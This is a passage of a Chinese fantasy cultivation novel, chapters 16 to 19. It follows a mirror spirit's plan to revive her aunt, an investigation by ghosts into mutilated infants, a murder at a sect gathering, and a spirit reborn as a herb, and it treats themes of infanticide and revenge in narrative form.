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长,你看看我这身板,膀大腰圆,俺娘说当年她一拍我屁股墩儿,就知道俺准是享福的主儿。”
“这不,俺一出嫁就是坐床喜,七个月后,呱呱落地一个大胖小子,哪像钱家、”
说到这,她又是摇了摇头,仿佛摇头的次数越多,越能显出她对钱家看不起的态度来。
“钱家的媳妇后我一天出嫁,命不好哟,前三胎都不是小子……”
婶子指了指正前方左处残破不堪的茅草房,低声告诉辛弃掷那就是钱家的屋子。
房子前的空地上有一个妇人在剥豆,干瘪的蚕豆从绿色的外衣中脱落,砸到盆中铛铛作响。
那剥豆的妇人衣着单薄得跟豆衣有的一拼,一阵风吹过,她也附和般咳几声。
婶子走上前,跟她打招呼:“春花,你看看我给你带谁来啦?”
春花抬头一瞧,辛弃掷倒是叫她瞧着了,只是她并不认识这等人物,细细的眉一挑,见辛弃掷衣冠端正,无措地捻了捻衣袖,站起身来,问那婶子。
“莲子,这是?”
夏莲走到春花身旁,扶住她,指了指辛弃掷:“村长在外头碰见的大师呢!你家不是闹……”
她卡住声,很不想吐出那两个字:“……闹鬼瘟吗?要我说,看大师这行头,就知道准能压住你们家那些女娃的!”
辛弃掷插进来,直截了当地问:“闹鬼瘟?这这里发生什么事了?”
她虽自幼扎根在深宅中,可大抵从记事起也要听府中的管事诉说外边的情形,再作出决断,好叫长老们看看她不负所托。
而后丘村每一件常见的情形都在挑战她的神经。
女子未到及笄之年便早早出嫁,这在辛家,不,应该说,对修仙有过了解的人便会知道,这是不大可能的事。
女子于修行一道上相较于男子更有天赋,因此,很多人家从女婴诞下之时便早早盼着她们的纳灵日。
若非她自己在纳灵日上一丝灵气都近不了身……辛弃掷握紧拳,将心中的烦躁压下。
眼下的事更为重要的多,从知晓了溺婴之俗后,万千婴孩的啼哭似乎就开始萦绕在她耳旁,将心脏一寸寸绞紧。
相比那些女婴,她实在幸运。
好在,她还有机会让那些还未出世的婴孩们断绝淌在浑水之上的可能。
日暮时分的影子总是被拉得很长,辛弃掷躺在地上的身影一寸寸拔高、拔高。
她转过身,被纳入阴凉地的身形直面着阳光。
在辛家,她总觉着今日与昨日的太阳并无不同,而后日的太阳也会别无二致。
从辛家出逃每日奔波的时日,它也在照常升起。
可现在,她眯起眼,头一次认真端详起日光,浓烈、刺眼、自顾自地普照着大地。
脚下的土地并未散发出热气,那是不被关照的土壤。
长老们常说,无法纳灵之体,是被天地遗弃之人。
她管不了什么天地。
但脚下扎实的土壤鲜明地宣告着一个无法更改的事实——
哪怕日月的光辉永远笼罩不到这片大地,哪怕她被天地所遗弃,它存在,她在这片大地。
管它什么天地!
16. 算不尽芸芸众生微贱命
在何施与辛弃掷奔向归终山的同时,山的另一边,镜缘正在拖着宿惟寻医问药。
她们已经走了半天,与其说走,其实也只是宿惟躺在木板上,镜缘牵着拉车的牛控制着方向。
每逢路上遇到形状各异的小石子,镜缘面不改色地拉一拉栓绳,小牛崽遵照她的指令撒开蹄子,机智地撇过那些会伤害到牛蹄的利器。
但这歪七扭八的路线可害苦了背后的宿惟,他的身子在惨遭苗疆的迫害中,又陆续在颠簸中发出哀嚎。
嗯,叫得挺好听,镜缘漫不经心地想道。
在她心底,她极不情愿与宿惟一道为了他的事而奔波,要不是为了……
没法子,那位不知什么门路的剑客悄摸吱了个声便带着何施去了不知什么地方。
要是因此误了她的正事,倒比地底的犰狳还可厌。
她不知手握名剑的辛弃掷是否已看穿了她的身份,凡间的大门派总提防着她们这些精怪而捧着祆兽。
殊不知被他们的皇帝毕恭毕敬地供奉为国师的是她的同族。
祆,关中谓天为祆。
故神也。
妖,生女而夭,是为妖。
关中谓其为鬼。
而她们这些单单凭借物主的“人气”化形为人的镜,既非天地所育,又非孽障所化,似乎从诞生那刻起,就注定与人类有牵扯不断的联系。
她的姑母——彼岸,就是因此而死的。
从得知彼岸的死讯的那时起,镜缘的人生似乎只剩下了一件事:复仇。
不同于人类的一次生命,破镜可以重圆,哪怕裂缝横生,只要不伤及根脉,生命依旧延续。
彼岸之所以死去,是因为她全盘化用了人类的躯壳,天道可以被欺瞒,但法则是无法越界的存在。
万幸,她找到了破解之法。
如若那本破旧得看上去都可以当她祖宗的古籍上记载的古法可行,她的姑姑就得以重生。
只要她所欺瞒过的一切人,都按照计划进行。
可哪怕镜缘本身就是可以窥探人类前世今生的存在,她自己也无法确保这点。
跨出了那道边界,在凡人天道所领域的地界,她的法力已经大幅度削弱,像“预知”或“回溯”这类法术,因为被凡道的法则判定为侵害凡人的安全,所以几乎不可能在凡人界使用。
而她和何施最开始的碰面,像戏法一般的大变活水和碗,可能是因为触及救助生命这样的活动,在使用法术时,镜缘并没感到阻力,或在使用法术后,尝到头晕目眩的后果。
还好,目前来说,万事如意。
镜缘将目光投向牛车上蜷缩成一团的宿惟,他的伤口处都被简单包扎过了,但因为伤势过重,鲜红的血液仍在渗透出来,将他身下的木板也映得跟天边一般红。
唉,镜缘在心底叹了口气,那条苗疆的毒鞭打来的方向原是她站的方位,宿惟不知死活地去挡,抗下了她可以躲过的毒鞭。
抗就抗吧,伤就伤吧,若是苗疆的鞭子能对准一点,或是宿惟的身子在当时倒地时偏差几寸,她都会比现在欢畅许多。
一点心头血,立于心尖,是她所寻之法中最为重要的良药。
她不想假借他人之手,却也不想牵扯进因果报应中。
……
张一元神色复杂地看着那两个神色自若地行走在丛林中的家伙,在对方警觉地望过来时躲到药仙谷标志性的巨石后。
那块巨石足以容纳八九个虎腰熊背的壮汉,更不要提如今身衰力竭的他了。
他没有把握能从这俩人身上扣出点吃食或药材来,药仙谷的“散财人”不知是否听说了外头的消息,已好几月没大发好心。
那牵着牛车的女娃与连连哀嚎的伤患一看就出自大门大派,寻常人家不会这么泰然自若地处在药仙谷的领地。
别的不说,单就是浑然不怕那些或明或暗处的野兽,就有的一说,更别提那伤患丝毫不怕引来飞禽野狗与流民的叫唤了。
要对上这两人,张一元心里是没底的,可支撑起他底气的,不,应该说,叫他舍了胆儿敢去跟仙人叫板的,恰恰是他背后的那些凡人。
——现今官府称之为“流民”。
他想起临走前人们希冀的双眼,老人们颤颤巍巍布满皱纹扣着树皮的双手,孩童们面若木色的脸颊。
想起这些,他的魂儿好似一颤,刹那间,便是皇帝老儿站在他面前,他都要捅上一刀了!
谁叫这些混事儿,大部分得归咎于他们没有个好皇帝呢,该!
张一元没心思想那杂七杂八的了,他从巨石后现身,镜缘与宿惟正好赶在他面前了。
他这一停,源于停在药仙谷入口之处,就把牛车给逼停了。
“老头,你挡在这儿做什么?”镜缘不耐烦地发问,她这一路上想了很多,想的多了,就恍然想起她们最初的诞生。
想起那个与人族血脉相连的牵制住她们的约定。
她没法堂堂正正地不借助旁门左道复仇,也没法对面前这个老头对手,不过,她的火气,大概也散在这开头了。
“老夫是想问两位小友,身上可有吃食或药草,可……”张一元声音虚了,找他算命的村里人总夸他算得准,可堪称半个仙人。
他出口时下意识用了修仙之人的称呼,同道之间不管修为,按入仙途之日来算,称两位小辈为小友总不算太过分。
若是凡人敢妄想与仙人称兄道弟……大抵是有些痴心妄想令人不齿了。
可仙凡一念之间,不正如鬼手生死一线之间。
他晃晃脑袋,把往常平日里不会有的念头都给忘掉,终究说出了口:
“可否给予老夫些许,若有老夫能相帮之事,自当全力相助。“
听闻此言,镜缘不耐地哼笑一声:“你若别挡道,便是帮了我天大的忙了。”
话音刚落,她身后便传来一声高过一声的咳嗽声,镜缘沉下脸来,半转过身,将宿惟瘫软的身子提起来,让他能靠在草堆上。
“你也看见了,我拖着的这个人已经半死不活了,我没有闲心来管你的闲事。”
愈发加重的咳嗽声几乎要演变为挣破耳聋的叫喊,镜缘不得不怀疑宿惟是故意的了。
而事实证明,她的猜想的确正确。
宿惟借助手臂的力量将身下的草堆下压,勉强支起身子,问那拦路的老伯:“老伯,你是从哪儿来的,为何要吃吃食与药材?”
张一元沉思片刻,观了观他的面相,这才回话:“贫道自东鞍
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山而来,为沿途所遇之流民而求此二物。”
“流民,现下怎么会有流民!?”
宿惟赶忙凑近老伯几分,嘴角又流出几道血迹来。他的确不解,自他离家出城,到拜入无情道,沿途所遇哪有兵荒马乱之象?
“这位小公子应当自幼是灵慧之人吧?”
宿惟点点头。
“应当……不太喜爱出游?”
宿惟再次尴尬地点点头。
他早期倒是热衷于招猫逗狗,但长姐和长辈们屡屡划分好了他的活动范围,并由此给了他张可供参考的地图。
上面不但标注了天灵地宝,也写明了危险与应对方法,堪称出门在外不二之选,便是三岁幼童拿着这份地图走路也能自保!
正因如此,后来他才会生出反抗之心……导致了眼下的局面。
言归正传,张一元听到意料之内的回话后沉寂下来,他不知道该不该对这个小子说真话了。
他们虽活在一个朝代,但仿若是相隔两世的人。
他,还有那些平民百姓活在乱世,而那个小子眼中是看不见乱世的。
灵慧之人是身负踏入仙途资质之人,比寻常修士更易飞升,他曾经见过,后来,那个孩子变得他再也认不出了。
他怕,怕此次回话不但为他惹来杀身之祸,更要紧的是,在他身后的百姓们若被盯上的话,他是护不住的。
若是盛世,畜生与人又有何异,若是乱世,人与畜生又有何异?
枉他自诩半仙,撑不起一手遮天。
“……那也难怪了,”张一元终究是收回了道破的心思,他已经习惯了对他人的命运视而不见。
简单道明了外边的情况后,宿惟愤愤不平,心绪难耐,强压下怒火跟张一元解释:“老伯,你有没有想过带百姓们投奔向阳城,那是我的家乡,城主府会定期组织测灵殿开放。”
“你向他们道明难处,父……负责这些事物的下官定会协从,待你们中有人测出灵根,便有望成为门派弟子。”
“便是门派弟子中的外门杂役,一月也至少有颗辟谷丹,那人只要学会引气入体,就无需再食用饭菜,将辟谷丹碾碎成泥混入水中,再分发下去,你们便不就可以活下来了吗!”
宿惟越说条理便越清晰,因重伤而感到混沌不堪的灵台好似也清明了起来。
只有张一元在心底默默叹了口气。
事情若真有那么简单就好了,就说第一步,依靠他自己就办不到了,有仙人驻扎的城池通常会比没有的城池发展得好得多。
不说朝廷下发的补贴,单论那些仙人,他们便是出自驻扎的城池城主府中的,论钱财有钱财,论庇护有仙途,哪会发展不好呢……
而进入那些城池却不是可以一语定下的事,它们是围着仙人的结界的,要穿过那层结界,就需过路人身负灵根。
结界再往外,普通的平民百姓是寻不到前往那些城池的路的,若要妄想踏入仙途,要么一层层参与朝廷下发的考核,要么等待门派中人下山寻有缘之人。
或者,天生能看清漂浮在空中点点发亮的灵气,也能窥见冥界一角,拥有这种特质的孩子,被世人称为“阴阳眼”。
天生不可修仙。
她们是窥道人。
17. 回头看五味杂陈奈何天
打发走张一元后,镜缘看了眼身体状况更为不堪了的宿惟,摇了摇头。
何必呢。
无缘无故地为了萍水相逢的他人而糟蹋自己的生命,哪怕她们镜妖一族最初的“物主”就是人族,她们也从未懂得这种行为的根源。
镜缘握紧缰绳,趁着宿惟意识不清的时刻从他身上顺了些血,完美无缺地涂抹进巨石左侧刻画的阵法中。
地面在震动,一阵轰鸣声过后,一张网,不,是一堆种植在一处而远望过去似一张蛛网的灵植从地底窜了出来。
镜缘不慌不忙地从衣袖中掏出个香囊,从中倒出瓶导灵水给灵植们灌溉,这是她和埋伏在药仙谷的朝廷暗线约定好的暗号。
药仙谷不善作战,为确保谷中安全,外出时会聘请镖局护送,平日里明面上几乎没有人出谷。
她带宿惟来这儿,就是为了尝试计划中的第一步——以药入骨。
镜缘先前和这位暗线并未见过,他是药仙谷的药人,一言一行皆受到管控。
也就是说,她与他的碰面要么会受到暗处的监管,要么时间紧迫刺激。
在这份外在因素下,她有些无法克制住有关于这位药人,是如何和朝廷对接上的好奇。
也不怪药仙谷对这方面看得紧,传闻中最顶尖的药人需经过七七四十九天的淬炼,经年累月地将身子浸泡在一日毒过一日的黑池中。
一日毒池,一日生池,辗转往复。
在忍受与修复中,将骨髓对药材的耐受力开发到极致,最终还保留了性命能从黑池中脱颖而出的药人体质可媲美金佛门的金钟罩铁布衫,甚至更胜一筹。
相较于金佛门磨炼的身似铁功法,最顶尖的药人本身就是一株天材灵宝,浑身剧毒却又能安然无事地相融于体内,次日还能自行转化为复生之药。
复生之药,仅一句描述,就能让众人对此趋之若鹜:功效堪比“起死人而肉白骨”之效。
要不是药人的血毒到见血封喉,再加上转换日次日的身体特性,怕是半步都得留人看守。
思及此,镜缘也没心思逗弄那些跑不了的灵植了,等石门大开就抓着车柄冲了进去。
稻草堆上的宿惟又经一颠簸,情难自禁地大口大口吐血,血色染红了他的衣襟,也让他眼前发黑。
就过门这一会儿功夫,他算是彻底晕了过去,也省了镜缘盘算着背后下黑手的力道。
石门在身后缓缓合上,扎根在门侧的藤蔓从土中延伸出来,在门上缠绕了一圈又一圈,等不见光后,镜缘预测从外窥探,只能看出门外是一块年月久远的巨石罢了。
她转过身,将缰绳在手上绕圈,这里太静了。
静得让人发慌。
还好她不是人。
不过她得去找找药仙谷的接引人,仍然用灵水来引诱灵植,不出所料,兜兜转转又过了几道暗门。
她最终在一处瀑布旁找到了那个人。
宿惟被她丢弃在前一道暗门前,以防意外,镜缘还试了下暗门的隔音如何。
深得她意。
“幸会。”镜缘朝趴在地上拔草、看不出性别的人问好。
“……啊、”拔草人有些迟钝,神情恍惚地坐好,过了半晌才回话:“你来了啊。”
镜缘不着痕迹地打量了下对方。
消瘦的身形,苍白的神情,神思不属的状态,ta是怎么了?药仙谷发生什么事了?她还能和暗线碰上面吗?
本着万一“瞎猫碰上死耗子”的精神,镜缘出口询问:“我带了一人,快死了,敢问药仙谷可有医治之法?”
拔草人朝歌神情纹丝不动,像问答了百千八遍般这个问题似地脱口而出:“悬壶济世,在所不辞。”
对上了。
暗号。
她们不着痕迹地对视一眼,又若无其事地分开。
朝歌:“把病人挪到冰床上。”
说罢,她就引着镜缘二人到了一处散发着寒冰之气的冰窟,正中央是一张大到可容纳五人的冰床。
镜缘将宿惟摆布好后,看着他被刺激得苍白的脸颊和偶尔吐露出含糊的字句的状态,有些不放心:“他不会中途醒过来吧?”
朝歌摇了摇头,示意镜缘跟她出去:“只是用冰刺激他的感知让他不至于昏过去。”
两人到了外头终于得以畅所欲言。
镜缘先发制人,拿出了那块国师交给她的令牌,给朝歌过目了一眼后便妥善收回:“我奉命而来,药仙谷考虑得如何了?”
“可议。”朝歌简洁明了地回话。
收到确认后,镜缘歪头看了眼仍神志不清的宿惟后,一步三回头地走远了些,等朝歌迟疑着跟上来才松了口气。
“这事说好了。接下来,是我要跟药仙谷谈一笔生意。”
朝歌呆了片刻,半晌才回过神似了慢吞吞地摇了摇头:“……抱歉,我没说清,没说好,可议,可以商量……”
说到这里,她停顿了一下,仿佛在斟酌这次的用词是否有误,而后满意地点点头,很满意自己的回答:“不是可以的意思,不是我跟你商量,我,做不了主。”
镜缘皱起眉头,从进药仙谷后,她就遇到过朝歌一人,朝歌说她做不了主,难不成跟她接头的暗线不是她?
她只知道国师交代的暗线最重要的特征是药人,先前看朝歌那幅模样,她还以为是药池长久以来浸泡的后果。
假如朝歌不是那位暗线,那她找的人,究竟在哪儿?
身后,树影婆娑间,水从衣袍内的指缝间滴落到地面,悄无声息地被灵植吞噬,灵植摇摆间摩挲出一片沙沙声,将轻微的脚步声遮盖。
身前,站在镜缘的朝歌延续之前的语调,在近乎荒无人烟的境况下,却给人一种气定神闲的既视感:“不过,我的确对你的生意,很感兴趣。”
“所以,你要跟我来谈这笔生意吗,官府来的接头人?”
*
“事情是从三年前开始不对劲的。”
寒松的山洞内,苏禾懒散地靠着石壁,望着墙面上影影倬倬的鬼影,照着辛弃掷的要求追忆起往事。
寒松接着她的话补充细节:“我还记得那年岁序回来了,她刚从摘星阁的那天,我叫她来我这儿商议事情,跟她说起我觉着最近的鬼气愈发浓厚了。”
苏禾垂下眼帘,眼不见心不烦地将一个接一个
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凑上来的小鬼拍散:“啧,去去去,泡澡去……”
何施歪着头,学着小鬼们的动作将头扭转,显而易见地失败了,除了那些听从苏禾指示蹦跶着出去又经由何施身旁朝她做鬼脸的小鬼们,其余正在议事的人鬼们都没注意到这幕。
“我们一开始没把这当回事,来到归终山的鬼魂都很特殊,有时来得多些,有时来得少些。”
“发现蹊跷是在‘看望日’那天,你还记得为了维护归终山的稳定性——”苏禾直视着与她对立而坐的辛弃掷,后者思索片刻接上她的话语。
“嗯,我记得你们会把投放进来的男婴安置在‘后山’,是否后一批与前一批之间有何纰漏?”
“没错!”流光从洞外荡进来,直直将自己投进寒松怀里,“壹字批们没有血肉,贰字批们没有根骨,叁字批们就更惨啦,被人掏心掏肺的,后来的孩子们更是花样百出呢……”
寒松按了按流光的肚子,制止了她接着说下去,补充道:“这三年间,一共有十次这样的男婴被投放进来,为了区分,我们由时间从前往后,将他们命名为一至拾字批。”
一室沉寂。
良久,沉稳的脚步声从室外传来,苏禾缓了缓下压的眉眼,松口道:“行了,既然岁序回来了,那我就接着守门去了。”
踏出屋内与踏入的身影重叠,岁序朝苏禾点了点头,交接了她的位置。
“我刚从‘后山’那儿回来。”她一开口就道明了至关重要的信息。
辛弃掷挺直了身板,问:“现在方便去那儿看望吗?”
岁序摇了摇头,解释道:“大多数状况都不太好,少部分神志清醒的又经常陷入精神昏厥,我们已经对这两者进行了隔离。
失魂者,我们将神志不清的男婴称之为失魂者,他们会根据自己失去的东西来吞噬同类,失去血肉的啃食血肉,没有根骨的嫁接根骨……
我这几年没再出海,辗转各地让鬼怪们调查此事。”
“跟苗疆有关。”辛弃掷开口,以一种无比肯定的语气。
“是谢今安让你来的。”对面的人同样以一种不容置喙的语调下达定论。
辛弃掷没有回答,在鬼怪们看来这几乎是一种默认。
原本安安分分窝在寒松怀里的流光看看这个,又看看那个,语出惊人道:“不如我们去端了苗疆的老巢吧!”
众人一噎,寒松无奈地笑了笑,思及外头死活不明的小鬼们,有意磨磨她的性子:“我们连她们的老巢在哪儿都不知道呢。”
流光扁了扁嘴,口张了又开,最后绕着手指贴近寒松跟她小声嘟囔:“苏禾最近老给我喂年岁,再过个几次,我也许就能联系上鬼枝了。”
寒松一惊,下意识捂住她的嘴,颇有种此地无银三百两的意味反驳道:“那也不关我们的事。”
归终山本就是已超三界外,不在五行中之地。
介入俗世意味着重回天、地、人的因果。
哪怕早在牵扯出借命之事时,归终山就不可避免地沾染上了这份因果,她的私心里,还是不希望流光参入进此事
——她已经失去得够多,再也担不起一次担惊受怕。
18. 合道会
梅是在潜伏进合道会第三日发现那具尸体的。
那具女尸直愣愣地瘫倒在地,双手安详地交叠置于腹上,衣着清雅又莫名透着点贵气。
该不会……是哪个门派的弟子吧?
梅按耐下躁动的心绪,谨而又慎地攀爬过门窗,挪到尸身旁,小心翼翼地用双手掀下盖在对方脸上的黑布。
待到眉眼处,他手一抖,快速将黑布物归原位,而后蹿上房梁。
说不清是因尸骨还是骤然间的剧烈运动而产生的心跳过速用它自己的节奏提醒着梅这位闯入凶案现场的不速之客速速逃离现在这个不妙的处境。
合道会不定固定的时段召开,端看主办方是谁,因对方名头而来的客座大有人在,若在以往,梅定要不慌不忙地评价一句:看人下菜。
现在他却得因为这起不知谁做下的凶案成了目击证人,他的确可以趁着事态还未萌发火速撤离,再趁着有“幸运儿”覆了他的前尘路后悠哉哉地看戏。
他这一生见过很多尸体。
他是乞儿时,看见的是平日饿死,被人打死,冬日里冷死的。
他是农家子时,闻见的是被麦穗和城墙压垮的脊梁。
含冤入狱时,听见的是屈打成招的喊叫,不绝于耳的叫骂和微乎其微的哀悼。
……
那些尸体都在他成为盗贼后不甘寂寞地在他的梦境里游荡。
盗贼,剽窃他人财物不问自取者也。
有趣的是,他没能成为盗贼前,遭受过多次牢狱之灾,成为盗贼后,官吏反倒不敢对他下手,生怕他来光顾他们的房梁。
发现这点时,他大笑着跪在山上,山风隔着数不清的山坟吹向养父养母的家,伴着他那时漂泊不定的心。
他没有了归乡。
但他想,你们是错的。
母亲,塞给官吏的银两并不能填饱孩儿的肚量,只会让他们的欲望开花;
父亲,勤勤恳恳地开耕也不会让乡绅对我们另眼相待,在他们眼中,我们与那些被塞进袋中的麦穗没有什么两样。
可是官吏也会在上级面前点头哈腰弯下他们的脊梁,乡绅也会在财主面前献上他们的银两。
能驱使饿狼的唯有比他们更大的权势、更大的欲望、压制它,成为它,驾驭它。
盗贼,剽窃他人财物不问自取者也。
可他在那些为富不仁的贵人们眼前夺过的本就是自己的珍宝。
农家子的一袋麦穗只会让富绅嗤笑,却能让一家吃饱。
他在流浪时就在思索怎样填饱肚子时懂得了一个真理:吃到肚子里的,才是你的东西。
假若不幸被他人夺去,跟着他,抢夺他,拿回属于你的东西,而后吞下。
与其像条哈巴狗一样围着贵人们转,流着誕子吃下本属于自己的一粒米,梅更习惯于吞咬下对方的血肉,让他用身体的痛苦来记住:不要跟一条饿狠了的野狗来抢食。
他成为不了一户好农户。
他只想当个好盗贼。
盗贼,剽窃他人财物不问自取者也。
更能叫官吏和乡绅们害怕。
*
辛弃掷是在前往师姐房门前的路上收到的消息。
她步伐依旧稳健,从外表看不出什么端倪,只比往常低了几分的眉眼却泄露了她的坏心情。
沉闷的敲门声换来一声漫不经心的“进。”
推开门,飘在地上张扬的红衣夺去了所有目光,不期而来的日光也格外偏爱那道颜色,它驻足在那儿,承载了所有光芒,就好似代表了希望。
看到谢今安,辛弃掷的心终于静下来了。
“师姐。”她开口唤道。
谢今安原本正躺在榻上看些游记,听辛弃掷语气不对,收了书问她:“你这是怎么了?”
“出事了。有侍女方才同我传讯,厢房内有人遇害,是一游侠最先发现又叫来她,我让她赶去看好那个厢房,不准任何人靠近,有人问起就说有人在此闭关……师姐,会不会……是辛家那边的人?”
说到最后,辛弃掷胸中郁气难消,自从她当上首席弟子,辛家不是没来找过她恳请她坐上家主之位,只是她已然找到更愿去做的事,便回绝了。
她的那些妹妹弟弟们一个个对她意见很大,因为辛家并不死心,哪怕继任人选已在考察中,也透露出了几分只要她回来,便物归原主的意思。
若是这等腌臜事儿真为辛家小辈做下……
“你素来不是平白无故就怀疑起人的性子,”谢今安斟酌着开口:“是现场发现了辛家的证物,还是最近那些人又来烦你了?”
“是证物。而且是这一辈中每个人都独一无二的东西。”辛弃掷抿紧了唇。
“另外,怪也怪在这里。我竟想不起那物究竟是何人的,再者辛家素来不与人交恶,若有人特意将这盆污水倒在辛家头上,又是意欲何为?”
谢今安摩挲着书封,突兀地转了个话题:“我要你查的风满楼,查出什么来了吗?”
虽未解惑,辛弃掷仍毫不迟疑地答话:“查到了。先前跟在我后头的探子终于被我甩开,这处的风满楼还未接到消息,我把人接出来了。
这次她也来了。我想先让惠明大师试着为她解蛊,再出面作证。蛊毒在她体内根深蒂固,拖得越久便越危险。”
“嗯。”谢今安点了头,“你想得很好。要我说,
苗疆一日不除,这天下一日难安。推个凡人出来,固然是一条性命,却不见得他们能有多重视。”
“不若,将那起厢房命案推到苗疆头上,你先前已经放出消息,若有人经过,定然知晓这厢房内是个修士;若无人知晓,便凭空捏造,欸”
谢今安竖起一根手指,将辛弃掷正欲开口反驳的话语点了回去。
“我知晓你想说什么,你想说这样做苗疆的罪名固然大了一等,可那条人命真正的凶手便能逍遥法外了,是不是,”
说到这,谢今安笑了声,清脆又饱含无奈:“你啊你,你的本性太正,正因如此,才不适合修仙。”
“只有千里做贼,哪有千日防贼的道理,这出厢房命案是撒在明面上的一点饵,我要把苗疆和凶手都钓出来。”
*
镜缘正在逃亡。
她杀了人。
也许是一个,也许是两个。
她并不后悔。
她的手不抖。
镜妖跟人族之间的脉络也许会因她而终结,又或许她会被两族都放上通缉榜,好似只要去除了她这份污点,二者之间便不再有记恨、利用与忌惮。
这些都不重要了。
杀人是为了偿命。
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一份命抵一份命。
这很公平。
是镜妖最喜欢的“照映”关系。
躯壳已经埋下。
心头血到手。
因果线重连。
再也没有谁能阻止她将彼岸复活。
她抬起头来,月光从云层中倾泻,今晚的月亮很亮,很圆,相传在人间,家人会在月圆时分团圆。
就是在那个时刻,她感知到了什么。
手心处传来刺痒,镜缘低下头,手心从白玉般的颜色转为透明,国师的身影背对着她,站在观星台上。
她没有看她。
她们只是站在同一片圆月下。
“你没有按照我说的做。”国师的声音依旧带着那股不容置疑仿佛一切尽在掌握的语气。
“是的。”她回答。
早在她叛出族群,来攀扯国师时,国师就该想到的,不是吗?
“你做的很好。”一声叹息从国师口中传出。
镜缘有些惊愕:“您、”她停顿了一下,对这个猜测感到万般的惊奇:“认同我吗?”
国师没有回答她,又或许回答了她:“你是想复活那个孩子吧。你做不到的。她早已消亡。而现在,到了你该消亡的时刻。”
她在说什么?
她早就知晓自己的死亡,在筹谋彼岸的复活的时候,她就接受了自己的命运。
她是依靠彼岸的“人气”出生的,彼岸给了她生命,现如今,她不过是把这份生命还给她。
但国师说她做不到。
能在人界担任国师的镜妖是最为特殊的一种镜子,有时候,就连她们自己也不知道,她们能做什么,可以做到什么程度。
而现任的国师……手心处的人影转了过来,有一瞬间,镜缘听到风在她耳边呼啸,直到身子摔到树根处,她才发现是她自己没有了力气站立。
“我的能力,是时间……它能让我,预知命运。”
在意识恍惚间,镜缘听见国师真假不明的宣告。
胃里传来阵阵不可抵御的绞痛感,她知道那是自己的肠子搅在了一起,如果她不尽快化为镜片,下一秒,她的身体也会以一种人类不可能做到的姿势来绞杀自己。
她的身体慢慢在地面上透明,又逐渐折射出树上的新叶,天上的明月,还有近在眼前的湖泊。
这些都在告诉她,她还在人间。
但她知道,她阻止不了自己的碎掉。
就像她当年也阻止不了彼岸逃离族群一样。
镜缘转过头,天上的夜幕在她眼前划过,变成了湖泊间漂浮不定的明月。
人世间有个故事,叫作猴子捞月。
她不知道先前自己的那番行为,在国师眼中算不算在捞一只虚幻的明月。
但她并不后悔,她知道,如果连捞都不去捞那弯明月,她定会后悔终生。
人间传闻,家人要在月圆团圆。
她见证不了彼岸的新生。
不过也许命运还是厚待她,她们终会在消亡之际团圆。
意识消亡的前一秒,她好像听见谁在说:“我最近听外来的小和尚说,人与人相遇,讲究一个缘分。既然你是因我而生,从此以后,你就叫镜缘。”
啊,她想起来了,她与彼岸相遇的那一天,也是月圆。
19. 雏鸟情结
何施是在颠簸的起伏感中醒来的。
她不知道她沉睡了多久,说是沉睡,但在那具身躯的记忆中,把这个叫作“死亡”。
按照这个想法,她是被镜缘杀死的。
这份死亡是突如其来的,并不沉重。事情的发展过程很简单,镜缘给了她一杯水,她喝下——而后,在她还未察觉到死亡攀爬到心脏前,镜缘对她说:这杯水里被我掺了毒药。
“我要杀了你,而且我绝不会后悔,如果你要恨我,便恨吧。”
在她还不知道死亡代表了什么的时候,那杯水就夺走了她的生命。
幸好,她此刻又活过来了。
先前在她现在有限的记忆里,作为人,她姑且算活了两回,一回借用了太清的身躯,一回附了木知的身。
她还不熟悉死亡,却早已习惯了新生。
她现在又在哪具身体里呢……就在何施这么想着的时候,一道人影卷着冷冽的寒风从门外踱步而来。
门外人的到来并没有带来光亮,屋内还是很暗,破旧的门窗尽管合拢,依旧在风的招呼下发出不堪承受的声响。
何施久违到感受到一丝寒冷。
就是在那个时候,她被一种前所未有的情绪给裹挟了。
后来很久之后何施才明白,就在那个当下,她开始学会了惊恐。
而那时鞋面与尘土的摩挲声,从上方笼罩了她全身的黑影,她动弹不得的身体,这种种种都在煽动这份情绪,就像在这处屋内避不掉的风。
何施终于迟钝地意识到什么——在一股暖流覆盖了她全身她却没有淹死后,一只眼球隔着颤动的水流望向她。
“你能看见我吗?”那双眼睛的主人这么问她。
这么说来也许有点奇怪,总而言之,何施现在变成了一株灵草,刚刚给她浇了水的女孩叫时迁。
她将她捡了回来。
“因为你不是一株普通的灵草呢。”回答何施的疑问时,时迁正忙着给门窗做加固,她搞来一些木板和钉子,将那堆模样有些歪的钉子牢牢钉进墙面。
随着有力的敲打声一下下响起,屋内更暗了,时迁的身影几乎要融进那堆木料里,渐渐地,镜缘的面庞似乎从那沉寂下声音的背影中显露出来,与记忆中她将那杯水递给她时别无二样。
她会杀死她吗?
跟镜缘一样。
这么想着,何施也就这么问出口了。
敲打声停了,几秒让人心慌的沉默后,一种微妙的、绝不会使人心生厌烦之感的语调涌入耳旁:“你在说什么啊?“
“我不会这样做的,放心吧。”
但敲打声并未延续下去,取而代之的是一声压抑又无力的叹息:“你是被人杀死的吗?别担心,不会再有人伤害你了,这里很安全。”
她走了过来,将现在装着何施的瓶子抱进怀里,何施觉得她的怀抱有点温暖。
与之相反的是她接下来吐露的话语,很慢、很轻、很缓,却足够何施听清:“……我杀过人的……血喷出来就会溅到身上,摸起来有点凉,那时候天已经冷了……猪崽子们不怎么叫唤,有些会冻死,我就要把它们杀掉。人跟畜生……都是一样的,血都是冷的。”
她在发抖。何施感受到了,告诉她。
“嗯,因为还是有风在。”
那晚,时迁是抱着何施睡的。
温热的呼吸声打在瓶身,有点痒,何施想。
她没有睡觉,在一片的朦胧视线里,她在想为什么镜缘要杀了她。
她叫她去修仙。
她们一块吃饭,一块躺在一张床上。
她们分开又相遇。
最后,她想杀了她。
时迁也杀过人,也许等她醒来,她应该问问她。
她不喜欢死亡,也不厌恶死亡,但在她还没醒来的时候,她究竟算活着,还是死去?
她没有消散于天地,却也感知不到自己。
何施一点一点想着,夜也在她的思索中沉默,最终被一声鸡鸣声打破。
木板钉得很牢,没有光透进来,但还是有风渗进屋内。
与昨晚不一样的冷。
这股冷并未惊动时迁,她仍睡得很沉,微弓着腰,一只手紧紧攥着被角,何施窝在她怀中,瓶身从被子中微微探出。
她费了点劲让自己滚到枕头上,借着昏暗的光线暗暗打量时迁。
她没有何施以往见过的人中大多都有的白净,从她脸上,你可以清晰地看出日光和尘土对她经过了怎样一番磨砺。
搭在被角上的手凸显出骨节而并未透露出一股羸弱,时迁的手心宽大,手指修长粗犷,搭在一处就显得硬朗。
看着看着,何施又滚下去,贴到时迁手腕处,听见内里的脉搏一下接着一下敲动,跟时迁钉打木板时的力道有些相像。
